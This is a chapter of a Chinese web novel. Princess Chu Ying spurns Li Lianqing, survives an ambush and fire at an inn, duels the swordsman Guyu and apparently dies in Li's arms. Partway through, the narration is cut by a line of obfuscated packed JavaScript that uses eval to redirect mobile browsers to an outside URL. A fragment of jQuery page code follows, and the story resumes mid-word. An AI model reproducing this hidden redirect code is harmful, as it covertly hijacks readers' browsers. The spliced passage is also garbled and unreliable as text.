幕火 作品

69. 第六十九章

褚缨并不知道他的真实想法。


在这一切牵扯到李连清之前,她便知道,不管谁人会背叛西州,背叛西州君主,李家都不会。持耀君也这么说过。


在看到那龙纹玉佩时,她亦想过,或许李家是前朝的臣子。


可她翻阅了众多关于前朝的书籍,也派人查探过。


李家并不是。


李家先祖是农村出身,李玄银这个名字,也是后来才改的,不止不是什么官员,甚至与任何一个富贵家族都沾不上边。


也是那之后,她信了李连清是真会向着她。


也以为,即便她死了,他应该也会“爱屋及乌”。


可没想到,真正的李连清和她想象当中的李连清,真是完全不一样。


许久后,褚缨闷声开口:“我讨厌你。”


李连清抬眼看她,见她眸中竟少见的有些泪光,更少见的,是合着泪光的委屈,她哑着声音,接着说:“也讨厌这句话。”


李连清忙道:“殿下不喜欢,我便不说了。”


“可你已经说了。”褚缨望着他,一字一句挤出牙缝,“就如同已经发生的那些事,已经害死的人,没办法挽回的。”


“我……”


“还有。”褚缨微微垂眸,抬手覆于他肩上,将他往后推,再开口的同时侧身欲走,“你不该喜欢我。”


刚走出一步,手腕被抓住。


那只手越收越紧,锢得她腕上生疼。


褚缨便深吸口气,坦白:“我也一直在骗你,我是为了自己的目的,你也知道,我的目的是什么……你为家族忠于君主,好,我理解。”


她微微偏头,看向他失落的眼眸,抬手捏住他手腕向外按,“但我也注定不会对你有任何一丝其他的感情。”


话语落地,但李连清仍然没有放手。


他眸中有一丝不甘,深吸口气问:“你就从未对我……”


“从未。”


“……你找到我,与我说这么多,原来就为了知晓我的心意,然后再与我说,我们毫无可能?”


褚缨能感觉到腕上那只手的颤抖,还有他欲落下,又强逼回去的泪水。


可她张了张口,只是冷声甩过去一个字:“是。”


李连清还想说什么。


褚缨却没给他机会,似是要打消他所有心思似的,决然道:“从一开始,我只是看中你这张脸,是为了与褚危抗衡,强行纳你入府门,我所做的一切,都只是为了让你,助我对抗褚危……”


“我告诉你这些,然后,放你自由,你做你的忠臣,我行我的道,从此我们再无纠葛,只余国仇。”


“这些于你是为解脱,也当做是我报了你帮我平冤案的恩。”


“……”李连清嘴唇有些颤,缓缓开口,“我不要这些。”


“那要什么?”褚缨语气不变。


“你。”


“妄想。”


“我就要你……”李连清固执地盯着她,声音有些哽咽,说至此,音还未落,另一只手按在了她肩上,随着话语,一步步将她往房里推,“你去哪,我便跟你,你要什么,我也都给你。我的命,也可以。”


褚缨垂眸,指尖紧了紧,终是没挣脱,她道:“我只想复仇而已。”


“那我帮你。”李连清说得没有一丝犹豫,“等复完了仇,我们再一起,看山水,看风月……”


季卿活不过来了。能陪她的,只有他。


也只能是他。


李连清这么想着,将她推进了房中,又将她抱住。


“你想看什么,想做什么,我都陪你……”


褚缨骤然打断:“这些东西,我早就不想看了。”


她背脊抵到桌沿,便顺势仰头看他,“他已经死了,这些看不看都没有意义。”


李连清的手猛地收紧,双目死死瞪着对方,“我不管他,我才不要管他!他已经死了,早就死了,他只能陪你那一程,而往后只有我——”


“我大可以找其他人!”褚缨提声,“你只是他的替代品,是我计划中的一环,现在我不需要你了,你听不懂吗?”


“你不能不需要我。”


李连清声色骤沉,松了手,手却是绕到她身后,按着她脊背将她拥在怀里,声线有些颤:“我可以帮你做很多事……我知道,你只想杀了褚危,不管是与我,还是与季怜,都只是为了杀褚危。可没关系,我愿意被你利用……”


褚缨试图挣扎,抬手推着他,但力气使不出来。她一偏眸,看见这屋子里的香薰,明白过来什么,她微微眯眼,忽然勾起唇角闪过一丝笑意。


此时,李连清还在继续说,手臂也越收越紧,仿佛要将她整个人都嵌在怀里似的,“殿下,只要你能回头,能看看我……”


“我听说,李风砚死了。”褚缨忽然道。


李连清呼吸一顿。


褚缨微微垂眸,话语不急不缓:“前不久,阁主帮我查到的,说他被褚危以‘通敌’的罪名处死,尸体挂在了边城的城墙上。不知现在,还在不在?”


埋在肩颈的那颗脑袋貌似摇了摇,他说:“不重要,这不重要了……”


褚缨便问:“你知道?”


李连清闷声道:“在来南州之前便知道了。”


褚缨思索了片刻,再次张口欲说些什么,忽然,李连清松开了她,拉住她手腕急急往旁边行了一步。


褚缨几乎是立刻就察觉到了窗外射来的箭矢,神色陡然认真,隔着衣裳反握住李连清手腕,“快走!”


李连清看着她那只手,似乎怔了一怔——她竟然还想着带他走。


李连清眉眼染了几分笑意,似是完全不将那些偷袭的人放在眼里,跟着褚缨一路往外狂奔。


箭矢擦过他们身躯,射落在脚边或墙面,二人衣衫翩飞,奔跑躲避间似纠缠在一起。


周遭箭矢不停歇,自四面八方而来,耳边尽是箭矢刺入皮肉的声音,客栈里的人都被这箭矢穿透了身体而亡。


褚缨无暇顾及,这来得太突然,她也未预料到。


褚缨一路跑到楼栏杆处,一支箭矢堪堪擦着鼻头而过,紧接着,那支箭被李连清捏在手中,褚缨望过去,见那箭矢上是西州的标识。


“褚危的人。”


“……”李连清手一紧,“应是跟着我来的。”


褚缨懒得想这些,此时箭矢又从门□□来,还夹带着火光。她忙拉着李连清退后,只能躲在缝隙里,借用建筑物遮挡四面八方来的箭矢。


“先等等吧。”褚缨探头朝外望,见外面已经火光冲天,客栈的大门已然倒塌,她喃喃道:“有点棘手……”


她还想探出身去,看看有没有其他出路。


此时腰间横来一只手,将她往后拉,背部轻轻撞在身后之人的胸膛上。


褚缨疑惑,仰头看过去,但下一刻,眼睛忽然被覆盖,透过一层薄薄的纱布,她只能望见对方的轮廓。


随后,下巴被轻轻掐住,嘴巴被迫张开,嘴里多了一颗药丸。


他的气息萦绕着她,比周身的烈火还要炽热。


“是解药。”


“半刻钟后生效。”


听此,褚缨将药丸吞了下去,问:“那现在如何?”


而后只感觉到耳廓上传来温热的触感,他伏在她肩头,轻轻说:“他们要杀的是我,我出去就好,火势暂时蔓延不到这里来,能撑到解药生效。”


褚缨抬手想将那块纱扯走。


手腕被抓住,没成功,她便直接出声问:“为何遮我眼睛?”


李连清的声音近在耳边,带着几分不明了的笑意:“此时灰头土面,格外丑陋。”


褚缨被气笑:“都这种时候了,还在意这些做什么……”


话音未落,她又忽然想到什么——方才形势危急,过道内狭窄拥挤,她只顾着拉他奔跑,自身都难保,更别提在意他如何。


她一仰头,由于距离太近,脸颊蹭过他的,似是都能感觉到那张脸上的伤疤,但此时她顾及不到这些,只急急开口问他:“你受……”


但他掐着她下巴,突如其来落下一吻。


先是落在她唇角,而后又挪到她唇边,轻轻在她唇瓣上摩挲,再将那些话语全都吞了进去。


腰间的手收紧,她能感觉到自己被提了提,坐到了他腿上,“噼里啪啦”的火焰燃烧声仿佛听不见,周围已然不知是火焰,还是他身上的热度,耳边只剩他的呼吸声,而他压着她唇瓣更紧。


许是解药起了作用,褚缨觉得力气稍稍恢复了一些,抬手将腰间那只手扒开,从他身上下来,头也偏开来,避开了这浅淡的一吻。


力气还未完全恢复,她跌坐在一旁,那块纱终于掉落下去。


她此时背对着他,调整了几口呼吸,微微闭眼,没再继续刚才的话,转而道:“你不用出去,我有办法的。”


“我不知那些人有没有看到你,发现你。”李连清说着,起身朝外走去,“但有一丝的希望,我都得保住你……让你与季怜一起,在南州继续你的计划。”


听着他有些无力的声音,褚缨转头,看见他背影,也终于看见他背后的伤。


她立马移开眼眸不去看,却还是想开口挽留他一下:“你就这么放任我与季怜走?季怜若真成功了,硬要把我娶走又如何?他对我的情谊可不比你少……”


李连清的声音不大不小,刚好能落入耳中:“那便希望到时,殿下觉得我还有用,能求他饶我一命,能继续利用利用我。”


“……”


褚缨暗骂他蠢货。


趁着他还未走远,褚缨撑起身体追了过去,一把抓住他手腕,一时间也顾不上他背上的伤了,将他抵在墙壁上,双手捧住他的脸凶狠道:“我不怕被他发现!你出去只会被他抓走或者死,我不要,不要看到任何一个人再为我而死!”


“所以,你不能走,你要留下来……我会,护你周全。”


李连清稍愣,被她突然的动作撞得脑子一阵昏沉,差点双腿一软跌了下去,又被她抱着扶正。


脑袋耷拉她肩上,她的话语近在耳边。


“我知道,若不是我出现,你该位列三公,官至丞相,成为一个新朝代的‘开国功臣’,延续你们李家的繁荣,你也能与门当户对的妻子和和美美过完这一生……”


“那,这一切的一切,就都相互抵消掉,李连清,我们就这样,两不相欠,好不好?”


李连清脑子一片混沌,背后的伤疼得他觉着自己已经不清醒了,但这句话又将将唤回他,他强撑着,抬手抱住面前人,“不、不……”


褚缨就听着他胡言乱语:“我们情深不寿,恨海难填……生生世世纠缠不休,永不离分……我不要和你两不相欠,你休想甩掉我。你先招惹我的,你怎么可以又自己跑掉……你不能再把我丢下……”


“别说话了。”褚缨开口打断他,颇有几分无奈,“前言不搭后语。”


李连清没再言语,但强撑着自己拉回了昏沉的思绪,片刻后,问她:“那我能为殿下做什么?殿下如今打算怎么办?”


褚缨退开一些,终于清晰看到他的脸,的确有些狼狈,沾染了不少灰尘,唇色也是苍白的。


褚缨陡然想起游街那日,现在的他与游街那日光鲜亮丽的他,对比起来哪里像一个人?


褚缨低头笑起来,随后拉住他手腕将他拉近,“跟我来。”


此时箭矢已经没了,只是周围全是大火,会阻碍一些行动。


褚缨拉着他,躲着时不时断裂的柱子或房梁,去到了正对着门口的柜台后面,踢开了断裂的房梁,蹲下敲敲地面。


敲了一会,“咔嚓”一声,地板被人顶开,掌柜的脸出现,在下面招呼着:“快进来快进来!哎哟这事儿整得真是,我来日还得重新找地方生存……”


褚缨拉着他进来,将入口关闭并上锁,跟着掌柜的一路往里走,掌柜还在絮絮叨叨:“也不知道崔嵬怎么样了,他去外面解决那些人了,现在还没个信……”


褚缨蹙眉:“他怎么会在这里?他身上还有伤,你怎么就让他一人去了?”


掌柜大惊:“他没跟我说啊!他就说是阁主让他跟着保护姑娘的……哎呀这不完了吗?完了完了……”


褚缨垂眸,正思索着还是得出去看看,总之现在她已经恢复了。


身后的人忽然一个踉跄。


她感觉到人没跟上,回头去看,见李连清扶着一旁的土壁,摇摇欲坠,她赶忙回身走过去,抓着他双臂将他撑起来,望着他有些模糊的双眸。


褚缨问:“还能走吗?”


李连清没回答,摇着头推了她一下。


褚缨不理他的动作,接着道:“我方才说的话,你若没听进去我便再跟你说一遍。”


“我们两相亏欠,既然各自都无法弥补,那便,一刀两断,自此两清。”


于是那只手从墙面挪到了她手臂上,又立马把她抱进怀里,“不要,不要两清……”


“那要什么?”


“……”李连清觉得脑子里一片混沌,但听到她的声音,又能清醒过来一些,不过,说出的话像是没经过大脑一般:“我要你一直在我身边,要与你生同衾死同穴,下辈子……我都要缠着你,你不要走。不许走……更不许两清。”


“你说不许,就不许?”


“那,求求你。”他的声音近乎气声,落在耳畔。


“……不吃这套,少来。”褚缨略显不耐。


见他神智清醒了些,褚缨不再与他掰扯,转身把他丢给了一旁着急的掌柜,看向掌柜吩咐:“我出去帮崔嵬,你带他躲好,他估摸着是失血过多,止了血再包扎一下。”


掌柜道了句“小心”,没再多言。


出了地道后,褚缨便另寻道路。


客栈已被大火淹没,黑烟冲天,阳光都被遮蔽了一般,周围围满了看热闹的居民。


褚缨顾不上自己什么形象,到了街道,寻上最开始茶摊那儿的人询问崔嵬的位置。


那人指了个方向,随后问:“姑娘,要不要我帮忙?”


“你继续在这儿盯着,若还有人便帮他掩护一下,他在往外逃,手里还有个伤者,不好出手。”褚缨看了看客栈的方向。


不等对方应声,褚缨立刻朝着他指明的方向追过去。


清城的街道并不繁荣,更多的是清静,与那清城山一般。


一路过去,人烟愈发稀少。


隔了很远,褚缨都闻到了血腥味,于是脚步更快,哪怕脚腕好似有些疼痛也没管,一些破皮的小伤,没有人命重要——


“崔……”


褚缨看见刀剑反射出来的光亮,绕过障碍奔过去,却陡然停住脚步。


面前那些人背着弓箭,手里还拿着武器,而崔嵬跪在一人面前佝偻着,远远望去,那人面容极为熟悉。


褚缨咬牙:“……孤雨前辈。”


孤雨刚把手里的剑插入崔嵬胸口,见她身影,拔剑后退,将崔嵬踹翻在地。


褚缨立刻奔上前,将崔嵬扶起来靠在自己身上,手有些颤抖。


此时,孤雨的声音自头顶传来:“你怎的还没死?”


褚缨抬眸,眸中水色一荡,提声怒道:“我知道你不喜我,想杀我也正常,可他是听雨阁的人,你怎么可以将他给杀了!你对不起师父!”


“一个黄毛丫头,懂什么。”孤雨冷哼,“怎么的,想给他报仇?”


“我只问你为什么!”


孤雨勃然变色,提剑指着奄奄一息的崔嵬,“你又不是不知道,若不是他媳妇背信弃义吐露出季常与黄金轩的事——”


“那也是他,是季常……罪有应得!”褚缨将最后四个字咬着牙说出来,起身提起匕首,对着孤雨就刺上去,周围的人立马上前阻止。


褚缨疯了一般,捏着短短的匕首,将刀剑一个个挥砍开,霎那间,不知究竟是谁的血,四溅开来,洒在地上。


孤雨躲开她一招,捏住剑柄,嗤骂了一声,道:“真与季常说的一样,是个狼崽子!”随后,终于肯拔出手中剑,迎面对上她的攻击。


褚缨很少输。


特别是在杀了师父之后。


但此时,对面人的一招一式,伴随着训诫的话语,她恍然间,竟是觉着回到了从前。


“小丫头片子,你不会做人,你师父也没教你,那今日我来教教你。”孤雨迎面接她一击,“善莫大于作忠,恶莫大于不忠,汝既为西州养育之子,以死逃遁,是为不忠不孝不悌不义!”





;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570727|169782||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


缨被这熟悉的招式打得心神不宁,连连败退,但不忘回他:“世人说万事皆有定法,但法可破,人有情,孰轻孰重,只问本心!”


孤雨再一招将那灰头土脸的狼狈姑娘压制,声色俱厉:“那我问你!”


“我不听——”


孤雨没管:“此间战火不息,纷乱不休,有志之辈,宁为有闻而死,不为无闻而生,你若得权起势,该作何选?”


“……”


刀剑铿鸣之声震在耳边,激起褚缨一阵耳鸣,差点没听清他的话语。


若此间战乱……


若得权起势……


该作何选?


褚缨被打得心里一阵火气,看着对此那些熟悉的招式,那火气便愈发旺盛。


她想起那到死都不悔改的蠢材师父,亦想到须弥村那些糟粕之事。


于是她想,这有何可选?


在耳鸣结束之前,她便开口:“若此间纷争,战火不息。”而后,匕首快速撬入对方掌心,将对方刺得退了一下,话语伴随着她骤起的身躯而来。


“我自请缨而战——灭寇伐乱,以创开元!”


话音如石掷地。


褚缨顺势捞起掉落在地上那属于西州军士的剑,将一招一式,全还给他。


刀剑相撞,破空声一下又一下传来,仿佛震开了云层。


那笼罩着阳光的黑烟也终是消散,此后,照彻长街。


客栈已成一片废墟。


周遭迟来的官员疏散着民众,收拾残骸。


此时,一旁的医馆内。


“公子我们真不知道人去哪了,我们都不认识你来着,若不是姑娘托付,哪会救你出来!”


“别看我,我更是什么都不知道。”


李连清一醒来就在这医馆,想起火海中她对自己说的那般话,便知道她又要趁机把他丢下了。


可这里的人都问不出结果。


他便自己去找。


一路问了许多人,漫无目的寻了许久,他几乎忘了身上的伤。


怎么……又把她弄丢了?


“哎那人是不是那个客栈里……”


“别多事,现在乱得慌,最近听说南京城要出事,可能是因此才祸及此。”


“也是,那边不是还有人看到在打架,没人敢过去……”


忽的,他们引起话头的主角不知何时已经站在了一旁,问道:“你们说的是哪边?”


路人大骇,拍拍胸脯:“往北走往北走。”


“多谢。”


李连清当即往那边赶去。


往北……北……


一路撞到了不知多少个行人,看到他身上可怖的伤口,也都不敢指责,他跌跌撞撞,跑得上气不接下气,眼前的场景从模糊到清晰。


而后他望见一片血色。


血色之中,那一袭红衣仿佛与之相融。


他停了停,方才继续向前走,脚底忽然踩到什么,往下望去,便看见一个断臂,那断臂手中拿着的令牌,刻着属于西州的纹样。


“慕玄。”


忽而一声,令他不自觉抬头看去。


她已回身,朝他走来,脚下踩出一个个带血的脚印。


李连清顿了一顿,然后急忙上前去,那身影摇摇欲坠,他及时扶住了她的肩膀将她揽入怀中。


但她的身躯有些重。


那脑袋撞在身前,再顺着滑下去,他只能拼命稳住,不让她继续往下倒。


二人便相对跪着。


褚缨咬咬牙,强撑着抬头看他,抬手将他眼角欲落的泪水抹掉,骤然一笑,道:“你不是不想与我两清吗?那,答应我一个条件。”


“我答应。”李连清没有犹疑。


褚缨颇觉好笑,歪了歪脑袋,语似调侃:“我还没说呢你就答应了……我的条件是,往后只要出现在我面前,你只能是季卿。”


李连清:“……”


泼出去的水能收回来么……


李连清的思绪还没拉回来,面前的人再次说话:“所以,不许哭。这样,便不像他了。”


而后她身形一歪,脑袋磕到他肩上,几乎整个人的重量都在他身上。


李连清任由她如此,他想,殿下杀了这么多人,一定很累了,要好好休息。


但思来想去,这个条件他还是不想答应,于是开口商量:“殿下,我脸上这疤不知何时才能好,而且扮一个死人……总之,我觉得这样对他也不好,让他泉下也不得安宁,我不是不想,我也是为殿下着想……殿下你觉得呢?”


“……”


“真的不是我不想答应殿下,我可以答应殿下任何事,只是关乎殿下安危的,总得慎重考虑,我不是信那些虚无缥缈的鬼神之说,只是这些毕竟与殿下安危有关,我肯……”


街道中,风声呼呼作响。


正说着的话陡然停止。


李连清忽然察觉到一件事——为什么,听不见殿下的呼吸声?


空气静谧。


不知过去多久,李连清抬手,想去将她脸颊抬起。


但指尖刚触碰上去,肩头一轻,她的脑袋与身躯皆往旁落去。


“殿下……”李连清慌忙接住她身躯,声音略显沙哑,“殿下?你回答我啊,殿下,你睁开眼骂我,我在忤逆你啊,你怎么能忍……”


他颤抖着手指,去碰她的脸,她的脑袋却又一偏,无力耷拉在他手臂上。然后他再一次将手挪过去,这回将手指搭在了她颈侧。


……


没有,什么都没有。


一丝活人的气息也没有。


李连清眉头皱了皱,手指从她颈侧弹开,转而抱起她身躯,脸颊与她冰冷的脸相贴,他笑着,轻声说:“殿下别闹了,我答应殿下就是了,是我不好。”


“我不该质疑殿下……是我不好……”


“殿下想怎么罚我我都受着……”


“我……”


风中的声音越来越小,越来越哽咽,直到泪水淹去了所有音节,他吞下说不出的话语,最终,只剩下疑惑又凝噎着的一句:“我来晚了……?”


来晚了。


她又死了。


又一次,死在他面前。


李连清不知道自己掉了多少眼泪,唤了她多少声。


直至官兵前来收拾场子,有人要抢走怀里冰冷的身躯,他方才抬眸。


“你瞪我也没用啊,哎呀人死不能复生,你就让她安息啦……”


“松手。”李连清盯着对方的手,那只手隔着她的衣袖捏着她的手腕。


那人没松,继续劝,劝得口干舌燥,偏偏这人就是不回应,发红的眼睛瞪着他那只手,可怕得紧。于是心道算了,刚要松手,这人忽然抄起一旁的匕首要刺他手腕。


“疯子!”


“走走走别管了……”


李连清没理他们,想将怀中人的身躯抱起,但死人的身躯似千斤重,好不容易抱起,没走几步又跌下去,身后的伤也不断渗出新血。


他一次次将她抱起,行了不知多久。直到,眼前忽然出现一双熟悉的布鞋。


他抬眸,望过去,犀利的眉目在看到来人的一瞬间柔和下来,铺上了泪水,“……孤先生……”


来人轻叹口气,摸了摸他的脑袋:“我与你父亲也是好友,你如今这般,我瞧着心里难受……这是你心上人吧?我帮你寻个好地方,将她埋下吧,也算是让她安息。”


李连清点了头,迷迷糊糊将人交过去,又迷迷糊糊跟着他去到一座山上,手里被塞了铲子。


但铲子刚下土,他没撑住,觉得后颈一阵刺痛,然后眼睛一闭,倒了下去。


……


唰唰几声,草木窸窸窣窣。


“晕了?”


“快快快别废话,瞿姑娘你去把你家阁主带走藏着,龟息丸的解药我给你了吧?别误了时辰……”


“好我立马就去!”


“哎那个谁,姓林的那小子,你过来跟我挖坑!累死老头了!”


“……我刚埋完崔嵬,我也好累啊前辈,而且前辈你还年轻身强体壮……”


“别废话!”


林间山风荡漾,暖阳抚下,一派春和景明之像。


莺初解语,好事正酿。